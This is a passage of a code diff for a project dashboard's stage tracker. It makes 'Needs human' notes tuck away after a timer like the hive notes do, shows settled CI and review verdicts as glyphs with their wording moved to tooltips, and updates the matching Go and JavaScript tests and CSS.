"stageTrackerEventHtml"), + jsFunc(t, html, "stageTrackerNoteLineHtml"), + jsFunc(t, html, "stageTrackerTextHash"), + jsFunc(t, html, "stageTrackerHumanNote"), + jsFunc(t, html, "stageTrackerHumanNotesNext"), + jsFunc(t, html, "stageTrackerHumanNoteHtml"), + jsFunc(t, html, "stageTrackerNoteEventOf"), + jsFunc(t, html, "stageTrackerNoteEventSet"), + jsFunc(t, html, "stageTrackerNoteEventsAll"), jsFunc(t, html, "stageTrackerNoteTuckSetting"), jsFunc(t, html, "stageTrackerSetNoteTuck"), jsFunc(t, html, "stageTrackerNoteOpen"), @@ -48,7 +56,7 @@ func stageTrackerNoteTuckJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerNoteToggle"), jsFunc(t, html, "stageTrackerNoteVisibility"), jsFunc(t, html, "stageTrackerRowSrcKey"), - "let _stageTrackerEvents = {}; let _stageTrackerStates = null; let _stageTrackerNoteTimer = 0; let _stageTrackerNoteHiddenAt = 0;", + "let _stageTrackerEvents = {}; let _stageTrackerHumanNotes = {}; let _stageTrackerStates = null; let _stageTrackerNoteTimer = 0; let _stageTrackerNoteHiddenAt = 0;", }, "\n") + "\n" } @@ -174,6 +182,62 @@ stageTrackerSetNoteTuck(true); // TestStageTrackerNoteTuckWiring: the page carries the markup, the CSS (tokens // only, reduced motion β†’ instant toggle), the βš™ toggle, and the visibility // hook; the window is the one the owner asked for. +// A "Needs human: …" / "Current blocker: …" line (tracker-human-attention) +// is a hive note too (owner, 2026-11-04): it opens, tucks after the same +// 30 s on the same shared timer, re-opens on a click, keeps its View link, +// and a re-render never re-opens a line this tab already showed. #16011 had +// drawn it as a static row that never left. +func TestStageTrackerHumanNoteTucksLikeHiveNote(t *testing.T) { + html := indexHTML(t) + runStageTrackerRowActionsScript(t, stageTrackerNoteTuckJS(t, html)+stageTrackerNoteTuckFixture+` +// ---- human-requirement notes ride the same line ---- +timers = []; panel.children.length = 0; _stageTrackerEvents = {}; _stageTrackerHumanNotes = {}; +const hnow = Date.now(); +const body = 'PR #16572 β€” Needs human: @clubanderson should decide <a href="https://x/pull/16572">View PR #16572</a>'; +let line = stageTrackerHumanNoteHtml('r/pr#16572', body, 'PR #16572 β€” Needs human: @clubanderson should decide Β· View PR #16572', hnow); +assert.ok(/^<p class="cue-event cue-event-tuckable ham-human-context" data-cue-key="human:r\/pr#16572:[a-z0-9]+">/.test(line), line); +assert.ok(line.includes('class="cue-event-ico"') && line.includes('data-action="stageTrackerNoteToggle"'), line); +assert.ok(line.includes('<span class="cue-event-body"><span class="cue-event-text">' + body + '</span> <span class="cue-event-age" data-at="' + hnow + '"></span></span>'), line); +assert.ok(/ title="PR #16572 β€” Needs human: @clubanderson should decide Β· View PR #16572 Β· 0s ago" data-action/.test(line), 'tooltip is the words themselves, no Hive: prefix: ' + line); +const hkey = line.match(/data-cue-key="([^"]+)"/)[1]; +// A re-render 10 s later keeps the same key and stays open: no re-opening. +const again = stageTrackerHumanNoteHtml('r/pr#16572', body, 'PR #16572 β€” Needs human: @clubanderson should decide Β· View PR #16572', hnow + 10000); +assert.ok(again.includes('data-cue-key="' + hkey + '"') && !again.includes('cue-event-tucked'), again); +assert.strictEqual(stageTrackerRowSrcKey(line), stageTrackerRowSrcKey(again), 'age in the tooltip never swaps the row node'); +// Mount it and let the shared timer tuck it after 30 s. +const hp = el('cue-event cue-event-tuckable ham-human-context', { 'data-cue-key': hkey }); +const hb = el('cue-event-ico', { 'aria-expanded': 'true' }); hp.children.push(hb); panel.children.push(hp); +stageTrackerNoteSync(panel, Date.now()); +assert.ok(!tucked(hp)); assert.strictEqual(timers.length, 1, 'one shared timer armed for the human note'); +tick(STAGE_TRACKER_CAPTION_SHOW_MS + 1); +assert.ok(tucked(hp), 'the human note tucks like a hive note'); +assert.strictEqual(hb.attrs['aria-expanded'], 'false'); +// Rendered fresh now, it arrives already tucked. +assert.ok(stageTrackerHumanNoteHtml('r/pr#16572', body, 'PR #16572 β€” Needs human: @clubanderson should decide Β· View PR #16572', Date.now()).includes('cue-event-tucked')); +// A click re-opens it for another window, from its own map. +stageTrackerNoteToggle(hkey); +assert.ok(!tucked(hp)); assert.ok(_stageTrackerHumanNotes[hkey].openAt === Date.now() && !_stageTrackerEvents[hkey]); +tick(STAGE_TRACKER_CAPTION_SHOW_MS + 1); +assert.ok(tucked(hp)); +// New words β†’ a new line, open again; the row leaving the payload drops both. +const other = stageTrackerHumanNoteHtml('r/pr#16572', 'Needs human: something else', 'Needs human: something else', Date.now()); +assert.ok(!other.includes('cue-event-tucked') && !other.includes(hkey)); +assert.strictEqual(Object.keys(_stageTrackerHumanNotes).length, 2); +_stageTrackerHumanNotes = stageTrackerHumanNotesNext(_stageTrackerHumanNotes, { 'r/pr#16572': {} }); +assert.strictEqual(Object.keys(_stageTrackerHumanNotes).length, 2); +_stageTrackerHumanNotes = stageTrackerHumanNotesNext(_stageTrackerHumanNotes, { 'r/pr#1': {} }); +assert.strictEqual(Object.keys(_stageTrackerHumanNotes).length, 0); +// Auto-collapse off: the plain line, gone after the two-minute life. +stageTrackerSetNoteTuck(false); +const t0 = Date.now(); +let plain = stageTrackerHumanNoteHtml('r/pr#2', 'Needs human: x', 'Needs human: x', t0); +assert.ok(/^<p class="cue-event ham-human-context" data-cue-key=/.test(plain) && !plain.includes('cue-event-ico'), plain); +plain = stageTrackerHumanNoteHtml('r/pr#2', 'Needs human: x', 'Needs human: x', t0 + STAGE_TRACKER_EVENT_MS * 0.8); +assert.ok(plain.includes('cue-event-fading'), plain); +assert.strictEqual(stageTrackerHumanNoteHtml('r/pr#2', 'Needs human: x', 'Needs human: x', t0 + STAGE_TRACKER_EVENT_MS), ''); +`) +} + func TestStageTrackerNoteTuckWiring(t *testing.T) { html := indexHTML(t) for _, want := range []string{ diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js index 99411eaf52..1a914781e8 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -119,11 +119,15 @@ test('adopted row: a complete review verdict is done-style, and a human-decision assert.match(parked, /Review 5\/5 Β· needs owner sign-off</, 'genuinely parked: the sign-off word stands'); const changes = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'changes_requested' } }))[5]; - assert.match(changes, /class="ham-seg ham-activity-track failing"/); - assert.match(changes, /Review 5\/5 Β· changes requested</); + // A settled verdict is the glyph alone in the pass / fail colour; its + // count words ride in the tooltip. + assert.match(changes, /class="ham-seg ham-activity-track failing"[^>]*data-verdict="fail"/); + assert.match(changes, /Review: Review 5\/5 Β· changes requested Β· /); + assert.match(changes, /ham-track-verdict"><svg [^>]*><\/svg><\/span>/); const approved = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'approved' } }))[5]; - assert.match(approved, /class="ham-seg ham-activity-track done"/); - assert.match(approved, /Review 5\/5 approved</); + assert.match(approved, /class="ham-seg ham-activity-track done"[^>]*data-verdict="pass"/); + assert.match(approved, /Review: Review 5\/5 approved Β· /); + assert.match(approved, /ham-track-verdict"><svg [^>]*><\/svg><\/span>/); const ci = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: decision }))[4]; assert.match(ci, /class="ham-seg ham-activity-track done"/, '11/11 passed is done-style'); }); @@ -166,7 +170,7 @@ test('#16268 row: waiting for the contributor, CI 7/11 unreported, review approv const c = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: ci, review_activity: approved })); assert.match(c[3], /class="ham-seg active detoured"/); assert.match(c[4], /class="ham-seg ham-activity-track pending"[^]*CI 7\/11 Β· test not reported</); - assert.match(c[5], /class="ham-seg ham-activity-track done"[^]*Review 5\/5 approved</); + assert.match(c[5], /class="ham-seg ham-activity-track done"[^]*Review: Review 5\/5 approved Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); assert.equal(litCount(c.join('')), 1); // Even a queued check does not light CI while the row waits on a person. const queued = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: { ...ci, state: 'queued' }, review_activity: approved })); @@ -199,8 +203,8 @@ test('#16456 row: PR in progress with changes requested β†’ the stage chevron is ci_activity: { head: 'abc1234def', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, review_activity: { head: 'abc1234def', state: 'changes_requested', caption: 'Review findings', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: red } })); assert.match(c[3], /class="ham-seg active ham-remediation-unassigned detoured"/); - assert.match(c[4], /class="ham-seg ham-activity-track done"[^]*CI 11\/11 passed</); - assert.match(c[5], /class="ham-seg ham-activity-track failing"[^]*Review 5\/5 Β· changes requested</); + assert.match(c[4], /class="ham-seg ham-activity-track done"[^>]*data-verdict="pass"[^]*CI: CI 11\/11 passed Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); + assert.match(c[5], /class="ham-seg ham-activity-track failing"[^>]*data-verdict="fail"[^]*Review: Review 5\/5 Β· changes requested Β· [^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); assert.equal(litCount(c.join('')), 1, 'done / failing tracks are text-colour variants, not fills'); }); diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 4e352e75a9..4b5a77ea37 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -709,7 +709,7 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ review_activity: { head: 'f269349', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); assert.strictEqual(lit(owner), 1, 'with the contributor: only the stage chevron is lit: ' + strip(owner)); assert.ok(/<li class="ham-seg active detoured"[^>]*aria-current="step"/.test(owner) && owner.includes('Waiting for @hanthor'), owner); - assert.ok(/data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(owner) && /<li class="ham-seg ham-activity-track done" data-track="review"[^>]*>[\s\S]*?Review 5\/5 approved<\/span>/.test(owner), owner); + assert.ok(/data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(owner) && /<li class="ham-seg ham-activity-track done" data-track="review"[^>]*data-verdict="pass"[^>]*>[\s\S]*?ham-track-verdict"><svg [^>]*>[\s\S]*?<\/svg><\/span>[\s\S]*?Review: Review 5\/5 approved Β· /.test(owner), 'an approved review is the glyph alone, its count words in the tooltip: ' + owner); const busy = stageTrackerRowHtml({ repo: 'acme/console', number: 16456, kind: 'pr', stage: 70, display_column: 30, head: 'f269349', author: 'hive[bot]', author_kind: 'hive', code_activity: { head: 'f269349', state: 'remediating', caption: 'Remediating Β· scanner Β· 4m', actor: 'scanner', active: true, source: 'fix-dispatch', observed_at: seen }, ci_activity: { head: 'f269349', state: 'running', active: true, caption: 'CI running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: seen }, @@ -723,7 +723,8 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ ci_activity: { head: 'f269349', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, review_activity: { head: 'f269349', state: 'changes_requested', caption: 'Review findings Β· changes requested', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: seen } }, stages, ctx); assert.strictEqual(lit(changes), 1, 'changes requested in PR in progress: one filled chevron: ' + strip(changes)); - assert.ok(/<li class="ham-seg ham-activity-track done" data-track="ci"[^>]*>[\s\S]*?CI 11\/11 passed<\/span>/.test(changes) && /<li class="ham-seg ham-activity-track failing" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· changes requested<\/span>/.test(changes), changes); + assert.ok(/<li class="ham-seg ham-activity-track done" data-track="ci"[^>]*data-verdict="pass"[^>]*>[\s\S]*?CI: CI 11\/11 passed Β· /.test(changes) && /<li class="ham-seg ham-activity-track failing" data-track="review"[^>]*data-verdict="fail"[^>]*>[\s\S]*?Review: Review 5\/5 Β· changes requested Β· /.test(changes), changes); + assert.ok(!/ham-track-verdict"><svg [^>]*>[\s\S]*?<\/svg>(?:CI|Review) /.test(changes), 'settled verdicts carry no words beside the glyph: ' + changes); assert.ok(/<li class="ham-seg active ham-settled-current ham-remediation-remediating detoured"/.test(busy) && busy.includes('Remediating Β· scanner Β· 4m'), 'the stage chevron is settled-current with its words: ' + busy); } // Merged: the lit cap is the only chevron with hover text. diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 84f4e682bf..b68f720ef5 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -392,6 +392,11 @@ .ham-seg.ham-activity-track.done.decided { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } + /* A settled verdict is the glyph alone (green passed / approved, red + failed / changes requested β€” the .done / .failing colours above); + the words live in the tooltip. Same box, same height: only the + trailing gap goes and the stroke firms up so the colour reads. */ + .ham-chevron-copy.ham-track-verdict .ham-ico { margin-right: 0; stroke-width: 2; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } diff --git a/src/pkg/dashboard/static-src/js/tracker-human-attention.js b/src/pkg/dashboard/static-src/js/tracker-human-attention.js index 9b9fbd84d5..fed814653d 100644 --- a/src/pkg/dashboard/static-src/js/tracker-human-attention.js +++ b/src/pkg/dashboard/static-src/js/tracker-human-attention.js @@ -49,12 +49,24 @@ } return out; } + // A human-requirement line is a hive note: it opens, then tucks into + // its ⬑ icon like the "Hive: …" line (stageTrackerHumanNoteHtml, + // tracker-motion). Lifted copies without tracker-motion (tests, + // previews) render the plain row instead. + function stageTrackerHumanContextLine(item, bodyHtml, text, nowMs) { + if (typeof stageTrackerHumanNoteHtml === 'function' && typeof stageTrackerItemKey === 'function') { + return stageTrackerHumanNoteHtml(stageTrackerItemKey(item), bodyHtml, text, nowMs); + } + return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; + } function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { const required = stageTrackerHumanContextOf(item, stages); const lines = required.map(entry => { const it = entry.item; const href = it.url || item.url; - return `<div class="cue-event ham-human-context"><span>${esc(entry.text)}${href ? ` <a href="${esc(href)}" target="_blank" rel="noopener">View ${it.kind === 'pr' ? 'PR' : 'issue'} #${Number(it.number)}</a>` : ''}</span></div>`; + const view = href ? 'View ' + (it.kind === 'pr' ? 'PR' : 'issue') + ' #' + Number(it.number) : ''; + const body = esc(entry.text) + (view ? ` <a href="${esc(href)}" target="_blank" rel="noopener">${view}</a>` : ''); + return stageTrackerHumanContextLine(item, body, entry.text + (view ? ' Β· ' + view : ''), nowMs); }); if (lines.length || !item || item.advisory || item.hold || item.state === 'closed') return lines.join(''); const stale = item.human_attention && !stageTrackerHumanAttentionOf(item); @@ -62,7 +74,8 @@ stageTrackerLinkedPROpen(lp, item) && lp.human_attention && !stageTrackerHumanAttentionOf(stageTrackerLinkedPRItem(item, lp))) : []; if (stale || staleLinks.length) { const refs = staleLinks.length ? staleLinks.map(lp => 'PR #' + lp.number).join(', ') : item.kind === 'pr' ? 'PR #' + item.number : 'Issue #' + item.number; - return `<div class="cue-event ham-human-context"><span>${esc(refs)} Β· decision context unavailable for the displayed identity/head${item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''}</span></div>`; + const text = refs + ' Β· decision context unavailable for the displayed identity/head'; + return stageTrackerHumanContextLine(item, esc(text) + (item.url ? ` Β· <a href="${esc(item.url)}" target="_blank" rel="noopener">View current item</a>` : ''), text, nowMs); } const linked = item.kind === 'issue' ? stageTrackerLinkedSorted(item, stages) : []; if (linked.length > 1 || item.kind === 'issue' && (item.linked_prs || []).some(lp => @@ -78,9 +91,11 @@ const who = actor.login ? '@' + actor.login : 'a person'; const prNumber = item.kind === 'issue' && (item.linked_pr || ((item.linked_prs || []).length === 1 && item.linked_prs[0].number)); const target = prNumber ? ' on PR #' + prNumber : ''; - lines.push(`<div class="cue-event ham-human-context"><span>Next move: ${esc(who + target)}${actor.why ? ' β€” ' + esc(actor.why) : ' Β· action reason unavailable'}</span></div>`); + const text = 'Next move: ' + who + target + (actor.why ? ' β€” ' + actor.why : ' Β· action reason unavailable'); + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } else if (claimant && claimant.kind === 'person' && claimant.login) { - lines.push(`<div class="cue-event ham-human-context"><span>Claimed by @${esc(claimant.login)} Β· claim ownership, not a human decision request</span></div>`); + const text = 'Claimed by @' + claimant.login + ' Β· claim ownership, not a human decision request'; + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } if (typeof stageTrackerLeadActionOnRow === 'function' && typeof stageTrackerActionCtx === 'function') { const ctx = stageTrackerActionCtx(item.repo); @@ -89,7 +104,8 @@ ctx.rows = typeof _stageTrackerRows !== 'undefined' ? _stageTrackerRows : null; const action = stageTrackerLeadActionOnRow(item, ctx, subRows); if (action && (action.id === 'decide:delegate' || action.id === 'decide:delegate-all')) { - lines.push('<div class="cue-event ham-human-context"><span>Optional delegation: Let hive decide is available; it does not itself mean human input is required.</span></div>'); + const text = 'Optional delegation: Let hive decide is available; it does not itself mean human input is required.'; + lines.push(stageTrackerHumanContextLine(item, esc(text), text, nowMs)); } } } diff --git a/src/pkg/dashboard/static-src/js/tracker-motion.js b/src/pkg/dashboard/static-src/js/tracker-motion.js index 5788981cbc..febe3c886d 100644 --- a/src/pkg/dashboard/static-src/js/tracker-motion.js +++ b/src/pkg/dashboard/static-src/js/tracker-motion.js @@ -183,6 +183,7 @@ const next = stageTrackerStateMap(d && d.items); const ttl = typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting() ? Infinity : STAGE_TRACKER_EVENT_MS; _stageTrackerEvents = stageTrackerEventsNext(_stageTrackerEvents, _stageTrackerStates, next, d && d.stages, nowMs, ttl); + _stageTrackerHumanNotes = stageTrackerHumanNotesNext(_stageTrackerHumanNotes, next); _stageTrackerStates = next; } /* ---- Hive notes: show, then tuck --------------------------------------- @@ -254,6 +255,7 @@ function stageTrackerNoteTitle(ev, nowMs) { if (!ev) return ''; const age = stageTrackerAgoText(ev.at, nowMs); + if (ev.who === 'human') return ev.text + (age ? ' Β· ' + age : ''); return (ev.who === 'you' ? 'You' : 'Hive') + ': ' + ev.text + (age ? ' Β· ' + age : ''); } let _stageTrackerNoteTimer = 0; @@ -268,7 +270,7 @@ // it went hidden (the age keeps counting). const openNow = _stageTrackerNoteHiddenAt || nowMs; for (const p of Array.from(el.querySelectorAll('.cue-event[data-cue-key]'))) { - const ev = _stageTrackerEvents[p.getAttribute('data-cue-key')]; + const ev = stageTrackerNoteEventOf(p.getAttribute('data-cue-key')); const open = !ev || stageTrackerNoteOpen(ev, openNow, auto); if (open) p.classList.remove('cue-event-tucked'); else p.classList.add('cue-event-tucked'); const btn = p.querySelector('.cue-event-ico'); @@ -279,16 +281,16 @@ function stageTrackerNoteSchedule(nowMs) { if (_stageTrackerNoteTimer) { clearTimeout(_stageTrackerNoteTimer); _stageTrackerNoteTimer = 0; } if (document.hidden) return; - const due = stageTrackerNoteNextDue(_stageTrackerEvents, nowMs, stageTrackerNoteTuckSetting()); + const due = stageTrackerNoteNextDue(stageTrackerNoteEventsAll(), nowMs, stageTrackerNoteTuckSetting()); if (due === Infinity) return; _stageTrackerNoteTimer = setTimeout(() => { _stageTrackerNoteTimer = 0; stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), Date.now()); }, due); } // The icon's click (and Enter / Space, it is a button). function stageTrackerNoteToggle(key) { - const ev = _stageTrackerEvents[key]; + const ev = stageTrackerNoteEventOf(key); if (!ev) return; const nowMs = Date.now(); - _stageTrackerEvents[key] = stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting()); + stageTrackerNoteEventSet(key, stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting())); stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } // Hidden tab: stop the clock on every open line; visible again: give @@ -300,7 +302,11 @@ if (_stageTrackerNoteTimer) { clearTimeout(_stageTrackerNoteTimer); _stageTrackerNoteTimer = 0; } return; } - if (_stageTrackerNoteHiddenAt) { _stageTrackerEvents = stageTrackerNoteShift(_stageTrackerEvents, nowMs - _stageTrackerNoteHiddenAt); _stageTrackerNoteHiddenAt = 0; } + if (_stageTrackerNoteHiddenAt) { + _stageTrackerEvents = stageTrackerNoteShift(_stageTrackerEvents, nowMs - _stageTrackerNoteHiddenAt); + _stageTrackerHumanNotes = stageTrackerNoteShift(_stageTrackerHumanNotes, nowMs - _stageTrackerNoteHiddenAt); + _stageTrackerNoteHiddenAt = 0; + } stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } // The owner's own action writes the row's line at once ("you: approved"). @@ -317,15 +323,71 @@ function stageTrackerEventHtml(key, ctx) { const ev = ctx && ctx.events ? ctx.events[key] : null; if (!ev) return ''; + const who = ev.who === 'you' ? 'You' : ev.who === 'merge' ? 'Merge' : 'Hive'; + const body = `<span class="cue-event-who">${esc(who)}:</span> <span class="cue-event-text">${esc(ev.text)}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`; + return stageTrackerNoteLineHtml(key, ev, ctx, body, ''); + } + // Pure: one note line β€” the shared shape behind the hive line and the + // human-requirement line, so both open, tuck and re-open the same way. + function stageTrackerNoteLineHtml(key, ev, ctx, body, extraClass) { const nowMs = ctx && typeof ctx.nowMs === 'number' ? ctx.nowMs : Date.now(); const auto = ctx && typeof ctx.noteTuck === 'boolean' ? ctx.noteTuck : (typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting()); const fading = !auto && nowMs - stageTrackerEventShownAt(ev) > STAGE_TRACKER_EVENT_MS * 2 / 3; const open = !auto || stageTrackerNoteOpen(ev, nowMs, auto); - const who = ev.who === 'you' ? 'You' : ev.who === 'merge' ? 'Merge' : 'Hive'; - const body = `<span class="cue-event-who">${esc(who)}:</span> <span class="cue-event-text">${esc(ev.text)}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`; - if (!auto) return `<p class="cue-event${fading ? ' cue-event-fading' : ''}" data-cue-key="${esc(key)}">${body}</p>`; + const cls = extraClass ? ' ' + extraClass : ''; + if (!auto) return `<p class="cue-event${cls}${fading ? ' cue-event-fading' : ''}" data-cue-key="${esc(key)}">${body}</p>`; const ico = `<button type="button" class="cue-event-ico" aria-label="${STAGE_TRACKER_NOTE_LABEL}" aria-expanded="${open ? 'true' : 'false'}" title="${esc(stageTrackerNoteTitle(ev, nowMs))}" data-action="stageTrackerNoteToggle" data-arg0="${esc(key)}" data-stop="1">${STAGE_TRACKER_NOTE_ICON}</button>`; - return `<p class="cue-event cue-event-tuckable${open ? '' : ' cue-event-tucked'}" data-cue-key="${esc(key)}">${ico}<span class="cue-event-body">${body}</span></p>`; + return `<p class="cue-event cue-event-tuckable${cls}${open ? '' : ' cue-event-tucked'}" data-cue-key="${esc(key)}">${ico}<span class="cue-event-body">${body}</span></p>`; + } + /* ---- Human-requirement notes ------------------------------------- + "Needs human: …" / "Current blocker: …" (tracker-human-attention) + are hive comments too. #16011 drew them as a static row under the + item so the ask stayed readable; the owner (2026-11-04): "these + things should be hive comments and they should hide (slide-left) + as they used to." They now ride the same show-then-tuck line as the + hive note β€” the row's Let hive decide / Sentinel alert controls keep + the decision state in view after the words tuck. Their own map, + keyed by row and words, remembers when this tab first showed each + line so a re-render never re-opens one already seen; a row leaving + the payload (or its words changing) drops the entry. */ + let _stageTrackerHumanNotes = {}; + function stageTrackerTextHash(text) { + let h = 5381; + for (let i = 0; i < text.length; i++) h = (h * 33 + text.charCodeAt(i)) >>> 0; + return h.toString(36); + } + function stageTrackerHumanNote(rowKey, text, nowMs) { + const key = 'human:' + rowKey + ':' + stageTrackerTextHash(text); + let ev = _stageTrackerHumanNotes[key]; + if (!ev) { ev = { who: 'human', row: rowKey, text, at: nowMs }; _stageTrackerHumanNotes[key] = ev; } + return { key, ev }; + } + // Pure: the human notes still backed by a row in nextStates. + function stageTrackerHumanNotesNext(notes, nextStates) { + const out = {}; + for (const k of Object.keys(notes || {})) if (!nextStates || nextStates[notes[k].row]) out[k] = notes[k]; + return out; + } + // bodyHtml is the line's already-escaped words (with its View link); + // text is the plain words the icon's tooltip and the key use. + function stageTrackerHumanNoteHtml(rowKey, bodyHtml, text, nowMs) { + nowMs = typeof nowMs === 'number' ? nowMs : Date.now(); + const { key, ev } = stageTrackerHumanNote(rowKey, text, nowMs); + const auto = typeof stageTrackerNoteTuckSetting === 'function' && stageTrackerNoteTuckSetting(); + // Auto-collapse off: the old two-minute life and fade, like a hive line. + if (!auto && nowMs - stageTrackerEventShownAt(ev) >= STAGE_TRACKER_EVENT_MS) return ''; + return stageTrackerNoteLineHtml(key, ev, { nowMs, noteTuck: auto }, `<span class="cue-event-text">${bodyHtml}</span> <span class="cue-event-age" data-at="${ev.at}"></span>`, 'ham-human-context'); + } + // A note by key from either map; a toggle writes back to the map it + // came from. + function stageTrackerNoteEventOf(key) { + return _stageTrackerEvents[key] || _stageTrackerHumanNotes[key] || null; + } + function stageTrackerNoteEventSet(key, ev) { + if (_stageTrackerEvents[key]) _stageTrackerEvents[key] = ev; else _stageTrackerHumanNotes[key] = ev; + } + function stageTrackerNoteEventsAll() { + return Object.assign({}, _stageTrackerHumanNotes, _stageTrackerEvents); } const STAGE_TRACKER_CUE_TICK_MS = 15000; function stageTrackerCueAgeSync(el, nowMs) { @@ -645,7 +707,7 @@ // The hive note's open / tucked state is applied in place // (stageTrackerNoteSync), so it is not a reason to swap the node either. function stageTrackerRowSrcKey(html) { - return String(html || '').replace(/ data-ham-prev-col="\d+" data-ham-col="\d+"/g, '').replace(/ cue-event-tucked"/g, '"').replace(/ aria-expanded="(?:true|false)"/g, '').replace(/ title="(?:You|Hive): [^"]*" data-action="stageTrackerNoteToggle"/g, ' data-action="stageTrackerNoteToggle"'); + return String(html || '').replace(/ data-ham-prev-col="\d+" data-ham-col="\d+"/g, '').replace(/ cue-event-tucked"/g, '"').replace(/ aria-expanded="(?:true|false)"/g, '').replace(/ title="[^"]*" data-action="stageTrackerNoteToggle"/g, ' data-action="stageTrackerNoteToggle"'); } // Pure: whether the stamped move attributes name this strip. function stageTrackerRowHasMove(html) { return / data-ham-prev-col="\d+"/.test(String(html || '')); } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index b4d8b06c88..84db14c17f 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -192,7 +192,13 @@ if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); const sha7 = item.head ? String(item.head).slice(0, 7) : ''; const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; - const word = esc(text); + // A settled verdict (CI passed / failed, review approved / changes + // requested) collapses to its glyph alone in the pass / fail colour; + // the count words move into the tooltip. A glance then says whether + // the track went on to the merge queue or to remediation. Pending, + // running, not-reported and sign-off states keep their words. + const verdict = finished ? 'pass' : finding ? 'fail' : ''; + const word = verdict ? '' : esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; @@ -204,8 +210,8 @@ (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const copy = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; - return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${copy}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; + const copy = `<span class="ham-chevron-copy ham-track-state${verdict ? ' ham-track-verdict' : 